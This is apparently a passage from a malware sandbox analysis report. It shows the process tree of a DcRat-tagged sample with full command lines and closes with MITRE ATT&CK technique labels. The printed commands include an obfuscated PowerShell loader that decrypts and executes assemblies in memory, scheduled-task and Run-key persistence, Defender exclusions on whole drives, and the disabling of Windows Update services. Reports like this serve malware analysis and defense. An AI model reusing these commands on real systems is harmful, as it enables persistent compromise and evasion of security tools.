    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_UjGVN' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\UjGVN.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        
        PID:4352
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\UjGVN.vbs"
        5⤵
        
        PID:1160
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\UjGVN.bat" "
        6⤵
        
        PID:2280
        
        C:\Users\Admin\AppData\Roaming\UjGVN.bat.exe
        
        "C:\Users\Admin\AppData\Roaming\UjGVN.bat.exe" -w hidden -c $revk='FrosFFmmBasFFmse6sFFm4SsFFmtrsFFmisFFmngsFFm'.Replace('sFFm', '');$WweU='ResFFmasFFmdLsFFminesFFmssFFm'.Replace('sFFm', '');$pjGU='SpsFFmlisFFmtsFFm'.Replace('sFFm', '');$Fzyd='EntrsFFmyPosFFmintsFFm'.Replace('sFFm', '');$aBhw='CresFFmatesFFmDecsFFmrysFFmptsFFmorsFFm'.Replace('sFFm', '');$HREw='InvsFFmoksFFmesFFm'.Replace('sFFm', '');$jbac='FisFFmrsFFmstsFFm'.Replace('sFFm', '');$aADe='GetCsFFmurresFFmntsFFmPrsFFmocsFFmesFFmsssFFm'.Replace('sFFm', '');$sXfv='ChsFFmansFFmgeExsFFmtsFFmensFFmsisFFmonsFFm'.Replace('sFFm', '');$wTHa='TsFFmrasFFmnssFFmfsFFmosFFmrmFsFFminasFFmlBlsFFmosFFmcksFFm'.Replace('sFFm', '');$ONFW='LoasFFmdsFFm'.Replace('sFFm', '');$qtnL='MaisFFmnsFFmMosFFmdulsFFmesFFm'.Replace('sFFm', '');function ALZvt($oGVdU){$JKKxv=[System.Security.Cryptography.Aes]::Create();$JKKxv.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JKKxv.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JKKxv.Key=[System.Convert]::$revk('ifbGGURdbadE6vKFWJ6lqzFh8pa7sdWsoK1PE1x2Pg8=');$JKKxv.IV=[System.Convert]::$revk('nl2cKsOpypaJCtH2Q16lkQ==');$ioETR=$JKKxv.$aBhw();$YGsyt=$ioETR.$wTHa($oGVdU,0,$oGVdU.Length);$ioETR.Dispose();$JKKxv.Dispose();$YGsyt;}function PGcng($oGVdU){$XwgaB=New-Object System.IO.MemoryStream(,$oGVdU);$rqMcY=New-Object System.IO.MemoryStream;$IKUWv=New-Object System.IO.Compression.GZipStream($XwgaB,[IO.Compression.CompressionMode]::Decompress);$IKUWv.CopyTo($rqMcY);$IKUWv.Dispose();$XwgaB.Dispose();$rqMcY.Dispose();$rqMcY.ToArray();}$UWpia=[System.Linq.Enumerable]::$jbac([System.IO.File]::$WweU([System.IO.Path]::$sXfv([System.Diagnostics.Process]::$aADe().$qtnL.FileName, $null)));$Vnggr=$UWpia.Substring(3).$pjGU(':');$BQIJW=PGcng (ALZvt ([Convert]::$revk($Vnggr[0])));$PADXe=PGcng (ALZvt ([Convert]::$revk($Vnggr[1])));[System.Reflection.Assembly]::$ONFW([byte[]]$PADXe).$Fzyd.$HREw($null,$null);[System.Reflection.Assembly]::$ONFW([byte[]]$BQIJW).$Fzyd.$HREw($null,$null);
        7⤵
        
        PID:5072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(5072);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        8⤵
        
        PID:1040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
        8⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\UjGVN')
        8⤵
        
        PID:1332
        
        C:\Users\Admin\AppData\Local\Temp\909930.exe
        
        "C:\Users\Admin\AppData\Local\Temp\909930.exe"
        8⤵
        
        PID:1212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1212);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        8⤵
        
        PID:4940
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4716
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3748
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3132
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2408
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:504
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4556
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1980
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2184
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2320
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4452
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:2404
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:5044
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:1336
- C:\Users\Admin\AppData\Local\Temp\EAFC.exe
  C:\Users\Admin\AppData\Local\Temp\EAFC.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 708
    3⤵
    - Program crash
    PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:5060
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:3516
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3948
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:532
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4744
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2352
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4332
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1644
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:5044
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4656
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1716
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4544
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4400
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1568
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1152
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:2568
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  PID:4128
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:492
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:1068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:1304
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  PID:5064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3316 -ip 3316
1⤵
PID:1352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 560 -ip 560
1⤵
PID:3764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 216 -ip 216
1⤵
PID:3756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2400 -ip 2400
1⤵
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3448 -ip 3448
1⤵
PID:4388

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4392 -ip 4392
1⤵
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4392 -ip 4392
1⤵
PID:4292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4992 -ip 4992
1⤵
PID:3012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4392 -ip 4392
1⤵
PID:236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4392 -ip 4392
1⤵
PID:3308

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:2312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4392 -ip 4392
1⤵
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1792 -ip 1792
1⤵
PID:988

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
PID:2400
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:1932

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:2884
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:4948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2044 -ip 2044
1⤵
PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery